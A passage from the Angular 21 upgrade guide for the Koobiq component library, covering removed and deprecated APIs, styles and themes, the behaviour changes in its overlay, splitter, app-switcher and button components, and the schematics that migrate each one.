| `getKbqPopoverInvalidPositionError()`            | nothing: an invalid placement warns and falls back to `top` | reported  |

`v21-upgrade` rewrites bindings, static and valueless attributes only on an element that carries `kbqPopover` or `kbqPopoverConfirm`: other components, such as the dropdown and the select, have inputs of the same names. It reports a `hostDirectives` entry of `KbqPopoverTrigger` that exposes a removed input; expose the prefixed one instead, for example `'kbqPopoverHasBackdrop: hasBackdrop'`.

##### Styles and theming

| Removed                                                                                                     | Use instead                                                                                                  | Migration                          |
| ----------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ---------------------------------- |
| the arguments of `koobiq-theme()`, `koobiq-typography()` and `kbq-core-theme()`                             | nothing: they were ignored                                                                                   | removed; with nested `()` reported |
| `kbq-contrast()`, `kbq-palette()`, `kbq-color()`                                                            | the CSS variables of the theme, for example `var(--kbq-foreground-contrast)`                                 | reported                           |
| `kbq-typography-config()`                                                                                   | the `--kbq-typography-*` CSS variables                                                                       | reported                           |
| `@koobiq/components/core/styles/tokens`                                                                     | the modules it forwarded: `@koobiq/design-tokens/web/variables`, `palette`, `typography` and `md-typography` | reported                           |
| `prebuilt-themes/light-theme.css`, `prebuilt-themes/dark-theme.css`                                         | `prebuilt-themes/theme.css`                                                                                  | rewritten                          |
| the `md-h1`…`md-h6`, `md-body`, `md-body-mono`, `md-caption`, `md-table-cell` and `md-table-header` classes | the `kbq-md-` class of the same name, for example `kbq-md-h1`                                                | rewritten, reported                |

The light and dark files were copies of `theme.css`, which holds both themes. `v21-upgrade` rewrites them in style sheets, code, templates and the `styles` of `angular.json`, and keeps a single `theme.css` where both were loaded. A theme map built only to pass to `koobiq-theme()`, such as `kbq-light-theme($tokens)`, can go along with the argument: `kbq-light-theme()` and `kbq-dark-theme()` are deprecated and will be removed in 22.0.0, since nothing in the library reads their map. Read the CSS variables of the theme instead, for example `var(--kbq-foreground-contrast)`; the migration reports both functions. The markdown classes are rewritten in `class` attributes, `[class.…]` bindings and selectors; in any other string, such as `classList.add('md-h1')` or `[ngClass]`, they are reported.

##### Tag input

Validation belongs to the `<kbq-tag-list>` control, so the validation members of the tag input are removed. A `[formControl]` or `[ngModel]` bound to `<input kbqTagInputFor>` keeps working: `kbqAutocomplete` drives the input through it.

| Removed                           | Use instead                                                                   | Migration |
| --------------------------------- | ----------------------------------------------------------------------------- | --------- |
| `KbqTagInput.ngControl`           | the control you bound to the input                                            | reported  |
| `KbqTagInput.triggerValidation()` | nothing: it was a no-op, and the tag list control revalidates on every change | reported  |
| `KbqTagTextControl.ngControl`     | nothing: the library never read it                                            | —         |

`v21-upgrade` reports these uses in a file that names `KbqTagInput` or binds its `exportAs`, except on `this`, and a subclass of `KbqTagInput` that mentions either member. `KbqTagTextControl` is not exported, and a control passed to `KbqTagList.registerInput()` that still declares `ngControl` keeps compiling: the member was optional.

##### Toast container

| Removed                                          | Use instead                                                               | Migration |
| ------------------------------------------------ | ------------------------------------------------------------------------- | --------- |
| `--kbq-toast-stack-size-margin-top`              | `--kbq-toast-stack-size-margin-vertical`                                  | rewritten |
| `--kbq-toast-stack-size-margin-right`            | `--kbq-toast-stack-size-margin-horizontal`                                | rewritten |
| `KbqToastContainerComponent.dispatchScrollEvent` | nothing: the container reports its own reflow through `elementScrolled()` | reported  |

The removed properties already set both edges: `-top` also set the bottom margin of a stack at the bottom, and `-right` the left margin of a stack on the left. `v21-upgrade` renames them in style sheets, templates and code, and reports a file that declares both a removed and a new name: the new one used to win, after the rename the cascade decides.

##### Tree option

| Removed                                                      | Use instead                                    | Migration |
| ------------------------------------------------------------ | ---------------------------------------------- | --------- |
| `KbqTreeOptionChange.isUserInput`                            | nothing: the tree never set it, it was `false` | reported  |
| the second argument of the `KbqTreeOptionChange` constructor | nothing: `new KbqTreeOptionChange(option)`     | reported  |

A check of `isUserInput` on a tree option change never passed: delete it with the branch it guarded. `v21-upgrade` reports `.isUserInput` in a file that names `KbqTreeOptionChange`, `$event.isUserInput` bound to an output of `<kbq-tree-option>`, and a second argument passed to the constructor or to `super()` in a subclass. The `isUserInput` of `KbqOptionSelectionChange` and of `KbqTreeSelectChange` stays.

| Deprecated, removed in 22.0.0                     | Use instead                                                     | Migration |
| ------------------------------------------------- | --------------------------------------------------------------- | --------- |
| `(onSelectAll)` on `<kbq-tree-selection>`         | `(selectAllChange)`                                             | rewritten |
| `(onCopy)` on `<kbq-tree-selection>`              | `(copyChange)`                                                  | rewritten |
| `(onSelectionChange)` on `<kbq-tree-option>`      | `(selectionChange)`                                             | rewritten |
| `KbqTreeSelection.onSelectAll`, `.onCopy` in code | `selectAllChange`, `copyChange`                                 | reported  |
| `KbqTreeOption.onSelectionChange` in code         | `selectionChange`                                               | reported  |
| `KbqTreeNode.mostRecentTreeNode`                  | a query of the nodes, for example `viewChildren(KbqTreeOption)` | reported  |

The replacements emit the same events. The `onSelectAll` and `onCopy` outputs of `kbq-list-selection` and the `onSelectAll` output of `kbq-tree-select` are not deprecated and stay.

##### Running the migration

`v21-upgrade` is registered for 21.0.0, so an `ng update` to that version runs it:

```bash
ng g @koobiq/components:v21-upgrade --project "<your project>"
```

With `--fix false` it only reports what it would change.

#### ThemePalette removal (21.0.0)

`ThemePalette` is removed from `@koobiq/components/core`: `KbqComponentColors` describes the colors the components support.

| Removed                                                   | Use instead                                                          | Migration |
| --------------------------------------------------------- | -------------------------------------------------------------------- | --------- |
| `ThemePalette.Error`, `.Warning`, `.Success`              | `KbqComponentColors.Error`, `.Warning`, `.Success`                   | rewritten |
| `ThemePalette.Primary`, `.Secondary`, `.Info`, `.Default` | no color, or a member of `KbqComponentColors` the component supports | reported  |
| `ThemePalette.Empty`                                      | an unset `color`                                                     | reported  |
| the `ThemePalette` type                                   | `KbqComponentColors`                                                 | reported  |

`Error`, `Warning` and `Success` have the same values in both enums, so the rewrite changes nothing on screen. `Primary`, `Secondary` (`Default` is its alias) and `Info` set a `kbq-primary`, `kbq-secondary` or `kbq-info` class that no component styles, so such a component was drawn without its color rules; without a color it takes its default one. `Empty` is `''`, which also falls back to the default color, while `KbqComponentColors.Empty` is `'empty'`, a color of its own: do not swap one for the other.

`v21-upgrade` rewrites the three members and drops the `ThemePalette` import once nothing else names it. It reports every other use in a file that imports `ThemePalette` from `@koobiq/components/core`, including a field that hands the enum to a template. A re-export of `ThemePalette` from `@koobiq/components/core` is left as is and reported: `KbqComponentColors` has other members and values, so re-export it under its own name and migrate the files that import `ThemePalette` through it.

#### Unused core API removal (21.0.0)

`@koobiq/components/core` drops the undocumented exports, members and Sass that nothing in the library used. They were never deprecated: most are leftovers of removed features or implementation details that leaked into the public API.

| Removed                                                                                                            | Use instead                                                                                                                                                                                            | Migration |
| ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------- |
| `POSITION_MAP`, `EXTENDED_OVERLAY_POSITIONS`, `POSITION_PRIORITY_STRATEGY`, the twelve `*_POSITION_PRIORITY` lists | `kbqPlacement` on the trigger; copy a value you need                                                                                                                                                   | reported  |
| `ARROW_BOTTOM_MARGIN_AND_HALF_HEIGHT`, `SELECT_PANEL_VIEWPORT_PADDING`, `NUMBER_FORMAT_REGEXP`, `isWithin()`       | a value or function of your own                                                                                                                                                                        | reported  |
| `KBQ_SELECT_SCROLL_STRATEGY_PROVIDER`                                                                              | nothing: `KBQ_SELECT_SCROLL_STRATEGY` has a root default; provide the token itself to change it                                                                                                        | reported  |
| `KBQ_CHECKABLE_CONTROL_VALUE_ACCESSOR`                                                                             | nothing: `KbqCheckable` registers itself                                                                                                                                                               | reported  |
| `KbqHover`                                                                                                         | `(mouseenter)` and `(mouseleave)`, or `:hover`                                                                                                                                                         | reported  |
| `CanColor`                                                                                                         | `Signal<KbqComponentColors \| string>`, or `KbqColorDirective`                                                                                                                                         | reported  |
| `KbqAnimationCurves`, `KbqAnimationDurations`                                                                      | constants of your own: the library animates in CSS                                                                                                                                                     | reported  |
| `KbqRectangleItem`, `countGroupLabelsBeforeOption()`                                                               | no replacement                                                                                                                                                                                         | reported  |
| `KbqPopUp.markForCheck()`                                                                                          | nothing after `updateClassMap()` or a change of `visibility`, which re-render the pop-up; for another field, `changeDetectorRef.markForCheck()` in a subclass, `instance.detectChanges()` in a trigger | reported  |
| `KbqPopUp.warning`, `.handleBodyInteraction()`, the protected `closeOnInteraction`                                 | no replacement: `warning` did nothing, nothing called `handleBodyInteraction()`, and `closeOnInteraction` only gated it                                                                                | reported  |
| `KbqDecimalPipe.isSpecialFormatForRULocale()`, `KbqRoundDecimalPipe.roundingOptions`                               | private now: the pipe arguments and the formatters locale configuration                                                                                                                                | reported  |
| `KbqFormElement.isRow`                                                                                             | the `kbq-form__row` class of the element                                                                                                                                                               | reported  |
| `KbqLineSetter` and the `kbq-2-line`, `kbq-3-line`, `kbq-multi-line` classes of a list item                        | nothing: no style read them                                                                                                                                                                            | reported  |
| `KbqLine`, `KbqListItem.lines`                                                                                     | nothing: only `lines` read `KbqLine`, and nothing counted the lines; the `kbq-line` attribute still places an element in the text of a list item                                                       | reported  |
| `KbqSelectSearch.hasPlaceholder()`                                                                                 | the placeholder of the search input                                                                                                                                                                    | reported  |
| the `mcListIcon` attribute of a list item                                                                          | `kbq-list-icon`                                                                                                                                                                                        | rewritten |
| the `mcLine` attribute                                                                                             | `kbq-line`                                                                                                                                                                                             | rewritten |

The Sass that goes is reachable only through a deep import, since `@koobiq/components` forwards none of it:

- the modules `core/styles/functions` (its index, `number` and `string`), `typography/typography-utils`, `common/clearfix` and `common/popup`;
- `kbq-markdown-typography-config()`, the `typography-utils` getters (`kbq-typography-level()`, `kbq-font-size()`…), `popup-params`, `input-placeholder`, `rtl-value()` and `kbq-typography-css-variables`;
- the timing variables of `core/styles/functions/timing` but `$ease-out-circ`, `$ease-in-out-quad` and `$ease-in-out-circ`.

For typography, use the `--kbq-typography-*` CSS variables or `kbq-typography-level-to-styles-css-variables()` of `core/styles/common/tokens`; copy anything else into your own styles. `v21-upgrade` reports each load and use. The compiled CSS also loses a few prefixes for browsers the library does not support: `-ms-text-size-adjust`, `-ms-overflow-style`, `-moz-` and `-ms-user-select`, the old flexbox `display` values and an `@-moz-document` copy of `.layout-fill`.

##### Deprecated for removal in 22.0.0

The documented core API that has a replacement is deprecated instead; `v21-upgrade` reports each use:

| Deprecated                                                                                                       | Use instead                                                                                                               |
| ---------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| the unprefixed date pipes (`absoluteLongDate`…`durationShort`), their `ImpurePipe` twins and `BaseFormatterPipe` | the `kbq*` pipe of the same format with the same arguments, for example `kbqAbsoluteLongDate`: it follows a locale change |
| the `mcHighlight` pipe (`KbqHighlightPipe`)                                                                      | `kbqHighlightBold` (`KbqHighlightBoldPipe`)                                                                               |
| `isDigit()`                                                                                                      | `isNumberKey()`                                                                                                           |
| `isBoolean()`                                                                                                    | `typeof value === 'boolean'`                                                                                              |
| `KbqMeasureScrollbarService`                                                                                     | `element.offsetWidth - element.clientWidth` of the element that scrolls                                                   |
| `FocusKeyManager.getFocusOrigin()`                                                                               | the origin passed to `setFocusOrigin()`                                                                                   |
| `dateInput` of the datepicker locale configuration                                                               | `KBQ_DATE_FORMATS`: nothing reads `dateInput`                                                                             |

#### Unused component API removal (21.0.0)

The component entry points drop the exports, members and styles that nothing in the library used. They were never deprecated: most are leftovers of removed features or implementation details that leaked into the public API. `v21-upgrade` reports each use.

| Removed                                                                     | Use instead                                                                                            |
| --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| `normalizeSplitter()`, `isInt()`, `isDigit()` of `@koobiq/components/input` | `value.replace(/,/g, '.')`, `/^-?\d+$/.test(value)`; `isFloat()` stays                                 |
| `KbqTimeRangeTranslateTypeMap`                                              | `Record<KbqTimeRangeType, KbqTimeRangeTranslationType>`                                                |
| `KbqTabBodyOriginState`                                                     | `'left' \| 'right'`                                                                                    |
| `KbqDatepickerIntl`                                                         | nothing: no view rendered its labels; the texts come from `kbqDatepickerLocaleConfigurationProvider()` |
| `KbqDropdown.onPanelReached()`                                              | nothing: nothing subscribed to it                                                                      |
| the protected `KbqTreeSelection.getItemHeight()`                            | `options.first?.getHeight() ?? 0`                                                                      |
| the protected `KbqTreeSelection.setFocusedOption()`                         | `this.keyManager.setActiveItem(option)`                                                                |
| `KbqTagList.tagSelectionChanges`, `.shouldLabelFloat`                       | the `selectionChange` output of each tag; `!empty() \|\| focused()`                                    |
| `KbqTreeNodeOutlet.changeDetectorRef`                                       | `ChangeDetectorRef`, injected where you need it                                                        |

A subclass loses the protected members nothing read: `changeDetectorRef` of `KbqAccordion`, `KbqAccordionItem`, `KbqPasswordToggle`, `KbqIcon` and `KbqSearchExpandable`, `KbqAccordionTrigger.nativeElement`, `KbqNotificationCenterComponent.dateAdapter`, `KbqFilters.styles`, and `isHorizontalOverflown`, `isVerticalOverflown` and `child` of `KbqTitleDirective`. Inject what the subclass needs itself; `isOverflown` of the title covers both directions.

The styles lose the rules for classes nothing sets: `kbq-control_has-validate-directive` and `kbq-form-field_has-validate-directive`, left from the `KbqValidateDirective` removed in 20.0.0 (the form field, select and tree select show an error through their `ErrorStateMatcher`), and the `kbq-no-select` utility class: set `user-select: none` in your own styles.

#### Actions panel overlay container (21.0.0)

`KbqActionsPanelConfig.overlayContainer` now names the element the panel is rendered **into**, rather than an anchor it was positioned against. The panel is pinned to the bottom center of that element and resizes with it.

What that changes for code already setting the option:

- **An element with `overflow: hidden` clips the panel**, and one that scrolls its own content scrolls the panel away with it. At `overflow: visible` the entrance animation renders the panel below the element.
- **The element is mutated while the panel is open**: it gains one child node holding the overlay, and a `static` element is promoted to `position: relative`, since the overlay is positioned against it.
- **`maxWidth` is no longer ignored** when `overlayContainer` is set.
- **A globally provided `OverlayContainer` is bypassed** while the option is set.

##### Running the migration

`actions-panel-overlay-container` is registered for 21.0.0, so an `ng update` to that version runs it:

```bash
ng g @koobiq/components:actions-panel-overlay-container --project "<your project>"
```

It only reports the call sites — there is nothing to rewrite, because the option is the same one and only its meaning changed.

#### Legacy splitter deprecation (21.0.0)

`@koobiq/components/splitter` now resolves to a rewritten splitter: it lays panels out with CSS grid and adds per-panel size constraints, collapsing, snap points, full keyboard support and the WAI-ARIA `separator` pattern. The previous implementation — `KbqSplitterComponent`, `KbqSplitterAreaDirective`, `KbqGutterDirective`, `KbqGutterGhostDirective`, `KbqSplitterModule` and the `Direction` enum — moved to `@koobiq/components/splitter/deprecated` unchanged, and will be removed in 22.0.0.

**Most unmigrated imports break loudly.** `KbqSplitterComponent`, `KbqSplitterAreaDirective`, `KbqGutterDirective`, `KbqGutterGhostDirective` and `Direction` live at the `/deprecated` path only, so the build stops with `TS2305: … has no exported member`.

**`KbqSplitterModule` is the silent one — it is the case this migration exists for.** Both entry points export a class under that name, and the `kbq-splitter` selector exists on both sides, so an unmigrated import keeps compiling but now pulls in the rewritten splitter. That one projects `kbq-splitter-panel` children instead of `[kbq-splitter-area]` hosts and takes `orientation` rather than `direction`, so the group renders with no panels and no separators.

Templates need no changes of their own: once the import points at `/deprecated`, `<kbq-splitter>` with `[kbq-splitter-area]` hosts, `direction`, `useGhost`, `hideGutters` and `gutterSize` keeps working exactly as before.

##### Running the migration

`splitter-deprecated-path` is registered for 21.0.0, so an `ng update` to that version runs it:

```bash
ng g @koobiq/components:splitter-deprecated-path --project "<your project>"
```

It rewrites the `@koobiq/components/splitter` specifier to `@koobiq/components/splitter/deprecated` across every `.ts` file, and running it twice changes nothing. It does not move you onto the new splitter: that is separate manual work — areas become `kbq-splitter-panel`, `direction` becomes `orientation`, and sizes move from `min-width` and CSS `flex` onto the `size` and `minSize` inputs.

#### Overlay demotion removal (21.0.0)

Until 21.0.0 an open `dropdown`, `select` or `popover` panel lowered the **shared, app-wide** `.cdk-overlay-container` from `z-index: 1000` to `999` by adding a `.cdk-overlay-container_dropdown` class to it. The point was to let a panel slide under a sticky `kbq-navbar` / `kbq-top-bar` while the page scrolled. `KbqDropdownTrigger.demoteOverlay` turned that off for one trigger, and the `KBQ_DROPDOWN_HOST` marker token — provided by `KbqNavbar` and `KbqTopBar` — flipped its default to `false` so a dropdown inside the chrome would not end up behind its own trigger.

The whole mechanism was removed: the input, the token, the class and the stylesheet rule. It operated on the container rather than on individual overlays, so it could not lower a panel without lowering every other overlay — modals, sidepanels, toasts and tooltips included — and it did so from whichever component happened to open first.

**Panels now render above `kbq-navbar` and `kbq-top-bar` instead of sliding under them.** They open in the browser top layer (see Overlays in the top layer in Upgrade to Angular 21); with `usePopover: false` the overlay container stays at `z-index: 1000`, above the bars at `990`.

##### Running the migration

The `dropdown-demote-overlay` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:dropdown-demote-overlay --project "<your project>"
```

##### What is fixed automatically

**The `demoteOverlay` attribute is removed from templates** in all of its forms — `demoteOverlay`, `demoteOverlay="false"` and `[demoteOverlay]="expr"` — in `.html` files and in inline `template:` literals.

Template rules are applied to `.ts` files only inside inline templates, so a wrapper component that forwards the input keeps its own member:

```ts
// Before
@Component({
    template: `
        <button [kbqDropdownTriggerFor]="menu" [demoteOverlay]="demote">…</button>
    `
})
export class MyTrigger {
    @Input() demote = false;
}

// After — only the binding is removed; `demote` is now dead code the compiler points at
@Component({
    template: `
        <button [kbqDropdownTriggerFor]="menu">…</button>
    `
})
export class MyTrigger {
    @Input() demote = false;
}
```

**`{ provide: KBQ_DROPDOWN_HOST, … }` entries of a provider array are removed**, together with the `KBQ_DROPDOWN_HOST` import specifier they made invalid and a `providers` array the removal left empty.

##### What you need to fix manually

**Programmatic `demoteOverlay` access.** A read or an assignment (`this.trigger.demoteOverlay = false`) is reported with a warning rather than rewritten — deleting a statement is not always safe, and the compiler flags it anyway. There is nothing to opt out of any more, so remove the line.

**Providers the schematic could not rewrite.** A provider declared outside a provider array (`export const HOST_PROVIDER = { provide: KBQ_DROPDOWN_HOST, … };`), or an `inject(KBQ_DROPDOWN_HOST)` call, is reported as a leftover `KBQ_DROPDOWN_HOST` warning. Remove it by hand.

**`.cdk-overlay-container_dropdown` rules in your stylesheets** are dead — the class is never applied now. This is reported as a warning. If the rule was an override neutralising the demotion, it is simply redundant.

**Panels that used to slide under your sticky chrome now render on top of it.** To get that back, mark the content area below `kbq-navbar` / `kbq-top-bar` with `kbqOverlayLayer` from `@koobiq/components/core` — see [Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header). Unlike the demotion, it moves only the panels opened from inside that area: modals, sidepanels, toasts and tooltips stay above the bars.

**`kbq-select` and popover panels inside `kbq-navbar` / `kbq-top-bar` are fixed by this release.** They applied the demotion unconditionally and had no opt-out, so they rendered behind the very chrome that contained them. No action needed — this is the bug the removal fixes.

#### App-switcher upgrade (21.0.0)

In version 21.0.0 `KbqAppSwitcherTrigger` moved `selectedApp` and `selectedSite` from a plain `@Input()` (plus a matching `output()`) to `model()`, and a review of the component removed several members that never did anything. Template bindings keep working — `[selectedApp]`, `[(selectedSite)]` and `(selectedAppChange)` are unchanged — so only programmatic access and reads through a `#ref="kbqAppSwitcher"` template reference variable break.

| Member                                                                               | Before              | After                                                              |
| ------------------------------------------------------------------------------------ | ------------------- | ------------------------------------------------------------------ |
| `selectedApp`                                                                        | `@Input()` property | `ModelSignal<KbqAppSwitcherApp \| undefined>` — write via `.set()` |
| `selectedSite`                                                                       | accessor input      | `ModelSignal<KbqAppSwitcherSite \| undefined>` — **value changed** |
| `selectedAppChange` / `selectedSiteChange`                                           | `output()`          | the implicit outputs of the models above                           |
| `header` / `footer`                                                                  | properties          | removed                                                            |
| `KbqAppSwitcherComponent.isTrapFocus` / `updateTrapFocus()`                          | public API          | removed                                                            |
| `KbqAppSwitcherDropdownApp.getIcon()`                                                | public method       | removed                                                            |
| `KbqAppSwitcherComponent.activeSite` / `activeApp`                                   | protected           | removed: the context of the flyout's `kbqDropdownContent` template |
| `KbqAppSwitcherListItem.collapsed`                                                   | property            | `ModelSignal<boolean>`                                             |
| `app` / `site` inputs of `KbqAppSwitcherListItem` / `-DropdownApp` / `-DropdownSite` | optional inputs     | `input.required` signals                                           |

##### Running the migration

The changes are applied by the `app-switcher-signals` schematic (runs automatically):

```bash
ng update @koobiq/components@21
```

Or manually — for example, if you have already upgraded to 21.0.0. To preview without writing — `--fix=false`:

```bash
ng g @koobiq/components:app-switcher-signals --project "<your project>"
```

##### What is fixed automatically

**Reads and writes in TypeScript** (for receivers annotated `KbqAppSwitcherTrigger`):

- trigger.selectedApp → trigger.selectedApp(),
- trigger.selectedApp = app → trigger.selectedApp.set(app),
- trigger.selectedApp.name → trigger.selectedApp().name,
- trigger.selectedAppChange.subscribe(fn) → trigger.selectedApp.subscribe(fn) — `ModelSignal` implements `OutputRef`, so the callback signature is identical

**Reads through a template reference variable** (`#ref="kbqAppSwitcher"`, in external `.html` files and inline templates):

- switcher.selectedApp → switcher.selectedApp()

All replacements are idempotent — an access already followed by `()`, `.set`, `.update`, `.asReadonly` or `.subscribe` is left alone, so running the schematic twice does not double the call.

Note that `selectedApp()` is typed `KbqAppSwitcherApp | undefined`. Where the old property was read as non-nullable, the compiler will now ask for a `!` or a `?.` — that narrowing is yours to place.

##### What you need to fix manually

The schematic emits warnings for what cannot be rewritten safely:

**`selectedSite` is not rewritten, because its value changed.** The old getter returned the site with its applications already grouped for rendering; the model returns the value that was passed in. Read `trigger.selectedSite()` for the raw site and `trigger.parsedSelectedSite()` for the grouped one, and write with `trigger.selectedSite.set(site)`. `selectedSiteChange` is now the model's implicit output and emits the raw site as well.

**`selectedAppChange.emit(app)`**: no longer an emitter → `trigger.selectedApp.set(app)`.

**`header` / `footer`**: removed. The popup never rendered either, so the value was pushed into the overlay and dropped — delete the usage.

**`isTrapFocus` / `updateTrapFocus()`**: removed from `KbqAppSwitcherComponent`. Its template never bound `[cdkTrapFocus]`, so neither did anything.

**`activeSite` / `activeApp`** of a `KbqAppSwitcherComponent` subclass: removed. Each flyout of another site or group reads its site and app from the context of its `kbqDropdownContent` template, which `kbqDropdownTriggerData` fills.

**`KbqAppSwitcherDropdownApp.getIcon()`**: removed. Inline markup is sanitized by `KbqAppSwitcherIconSanitizer` and rendered by the component itself.

**Inline `icon` markup is now sanitized** against a strict SVG allow-list before it is rendered: `<script>`, `<style>`, `<foreignObject>`, HTML elements, every `on*` handler and any reference to an external resource are removed, and markup that changes shape when re-parsed is dropped entirely — in which case the row falls back to `iconSrc`. Check any icon that relies on those; prefer `iconSrc` for icons that come from a server.

The schematic does not cover the following changes — check them yourself:

**`KbqAppSwitcherModule` no longer provides `FocusTrapFactory` / `FOCUS_TRAP_INERT_STRATEGY`.** The app-switcher never rendered a focus trap, and those providers are injector-wide: they replaced the CDK inert focus-trap strategy with a no-op for every other focus trap in the same scope. If your application relied on that, provide them explicitly where they are actually needed.

**`defaultGroupBy`** now identifies a synthetic app group by its type name instead of an empty `id`.

**The popup hides itself when it scrolls out of an ancestor marked `kbq-hide-nested-popup`** (a tab body, for example). The guard that used to suppress this never passed, so the behaviour is effectively new.

The schematic matches receivers by explicit type annotation only, so aliases (`const t = this.trigger; t.selectedApp`) are left untouched — fix them by hand.

#### Button review (21.0.0)

The review of `[kbq-button]` changed three unrelated things at once. Nothing here has a deprecation period — the old behaviour is simply gone — but only one of the changes stops your code from compiling.

**Host attributes are now chosen by host tag.** Until 21.0.0 a disabled button rendered `disabled` _and_ `aria-disabled="true"`, whatever the host element was. `disabled` is not a valid attribute on an anchor and was ignored by the browser, while `aria-disabled` on a native `<button>` merely repeated what the native attribute already said. Each host now gets the one that applies:

| Host                             | Before                              | After                                                                  |
| -------------------------------- | ----------------------------------- | ---------------------------------------------------------------------- |
| `<button kbq-button [disabled]>` | `disabled` + `aria-disabled="true"` | `disabled`                                                             |
| `<a kbq-button [disabled]>`      | `disabled` + `aria-disabled="true"` | `aria-disabled="true"` + `tabindex="-1"` + `.kbq-disabled`             |
| `<button kbq-button>`            | `tabindex="0"`                      | no `tabindex` — a native button is already in the tab order            |
| `<a kbq-button>` without `href`  | no role                             | `role="button"` — it does not navigate, so it is announced as a button |

**A button group no longer overwrites what the button owns.** `KbqButtonGroupRoot` propagated its `kbqStyle` and `color` to every nested button on each update, including buttons that set their own. It now treats such a button as the owner and leaves it alone. Its `disabled` became additive as well: disabling the group disables every child, but re-enabling it no longer enables a child that was disabled through its own input. The `disabled` getter reads `boolean | undefined` and stays `undefined` while the input is unbound, so an unbound group never force-enables anything.

**Styles.** Four physical border-radius mixins were removed in favour of logical ones, the `.kbq-progress` utility moved into `kbq-core()`, and two custom properties that nothing read were dropped.

##### Running the migration

The `button-state-and-styles` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:button-state-and-styles --project "<your project>"
```

##### What is fixed automatically

**The removed border-radius mixins are rewritten.** `border-right-radius`, `border-left-radius`, `border-top-radius` and `border-bottom-radius` were removed from `core/styles/common/_groups-mixins.scss` and `core/styles/common/_groups.scss` (the latter re-exported through `core/styles/common/_index.scss`). An unmigrated stylesheet no longer compiles, which makes this the one mandatory mechanical change of the release:

```scss
// Before
@include border-right-radius(0);
@include groups-mixins.border-top-radius(var(--kbq-size-border-radius));

// After
@include border-inline-end-radius(0);
@include groups-mixins.border-block-start-radius(var(--kbq-size-border-radius));
```

The rewrite is anchored on `@include`, so a real CSS declaration (`border-top-left-radius`), a custom property (`--border-top-radius`) or a comment mentioning the old name is left alone.

**This is not a pure rename.** `border-inline-end-radius` follows `dir`, so under `dir="rtl"` it rounds the corners `border-right-radius` did not. That is the intent — the library moved its own group styling and its icon gaps the same way — but a physically-designed RTL layout will change.

##### What you need to fix manually

**Buttons that own an input inside a group** are reported with a file and line number. The schematic parses your templates and reports a button only when it sits inside a group _and_ declares its own `kbqStyle`, `color` or `disabled`:

```html
<div kbqButtonGroupRoot [kbqStyle]="groupStyle">
    <button kbq-button [kbqStyle]="ownStyle">Reported — the group no longer wins here</button>
    <button kbq-button>Not reported — still inherits from the group</button>
</div>
```

Drop the binding if you wanted the group value, or keep it if you wanted the override. Both readings were possible before, which is why this is reported rather than rewritten.

**`KbqButtonGroupRoot` and `KbqButtonCssStyler` API changes** are reported as warnings. The group's `disabled` is now `boolean | undefined`; on the styler, `nativeElement` became `readonly` and `icons` is typed `Signal<readonly KbqIcon[]>` instead of `readonly any[]`, so assignments and untyped member access stop compiling.

**Selectors and assertions built on the `disabled` attribute.** `a[kbq-button][disabled]` never matches now — use `.kbq-disabled` or `[aria-disabled="true"]`. Selectors targeting `<button kbq-button>` still work, but an `aria-disabled` selector on a native button no longer matches. A stylesheet that mentions both `kbq-button` and `[disabled]`, and TypeScript calling `getAttribute('disabled')` / `hasAttribute('disabled')`, are reported.

**`.kbq-progress` is emitted by `kbq-core()` only.** It used to be shipped three times over — by `button.css`, `toggle.css` and `dropdown-item.css` — and is now emitted once, from the prebuilt theme. Importing `core/styles/common/animation` no longer emits the rule or its keyframes; they live in the `kbq-progress()` mixin. If you include the prebuilt theme you already have it; if you pull in per-component CSS without a theme, add `@include animation.kbq-progress();`.

**The `--kbq-button-icon-size-vertical-padding` and `--kbq-button-icon-size-content-padding` custom properties were removed.** Nothing read them even before 21.0.0, so an override was already inert — delete it. Icon buttons use `--kbq-button-icon-size-horizontal-padding` and `--kbq-button-size-content-padding`.

**Custom locale data needs an `a11y` section.** Locale data gained accessible names for the built-in icon-only buttons — the close buttons of modal, popover, sidepanel, content panel and notification center, the calendar navigation, and the inline-edit save and cancel. Data registered through `KBQ_LOCALE_DATA` or `addLocale()` without that section falls back to the ru-RU strings. Add the section, or provide `kbqA11yLocaleConfigurationProvider(...)`.

**Snapshot and DOM-query tests.** Beyond the attribute table above, every `[kbqDropdownTriggerFor]` now renders `aria-expanded`, and the built-in icon-only buttons render a localized `aria-label`. Both are additions rather than removals, but they change rendered markup.

**A dev-mode warning about unnamed icon buttons.** An icon-only `[kbq-button]` with no `aria-label`, `aria-labelledby`, `title` or text now logs a warning in development builds. It is diagnostic only — nothing breaks — but it will point at your own buttons, since an icon carries no accessible name.

#### Button supported colors (21.0.0)

A button's `color` accepted any `KbqComponentColors` / `ThemePalette` value, but `kbq-button-theme()` only ever styled the pairs the design system defines:

| `kbqStyle`    | Supported colors              |
| ------------- | ----------------------------- |
| `filled`      | `contrast`, `contrast-fade`   |
| `outline`     | `theme-fade`, `contrast-fade` |
| `transparent` | `theme`, `contrast`           |

Every other combination matched no rule at all, so the button fell through to the user-agent appearance — a grey OS button. The most visible case was `transparent` with no explicit color: the shared default was `contrast-fade`, which is not one of the two colors the transparent block styled.

Each style now carries its own default color, every style gained an unqualified fallback rule, and `color` was narrowed to four values. `transparent` defaults to `contrast` rather than `contrast-fade`: it paints neither fill nor border, so the color only picks the foreground, and the design system has no faded transparent variant.

##### Running the migration

The `button-supported-colors` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:button-supported-colors --project "<your project>"
```

##### What is fixed automatically

**An unsupported color written as a literal is removed** from `[kbq-button]`, `kbq-button-group`, `[kbqButtonGroupRoot]` and `kbq-split-button` hosts. The `color="error"`, `[color]="'error'"` and `bind-color="'error'"` forms are handled, for the values `error`, `warning`, `success`, `empty`, `primary`, `secondary` and `info`:

```html
<!-- Before -->
<button kbq-button color="error">Delete</button>

<!-- After -->
<button kbq-button>Delete</button>
```

**The appearance does not change.** The button already rendered in its style's default color: an unsupported color matched no theme rule, and the new unqualified rule resolves to exactly the tokens the default color branch resolves to. What is removed is a value that never had an effect — and the type error with it.

##### What you need to fix manually

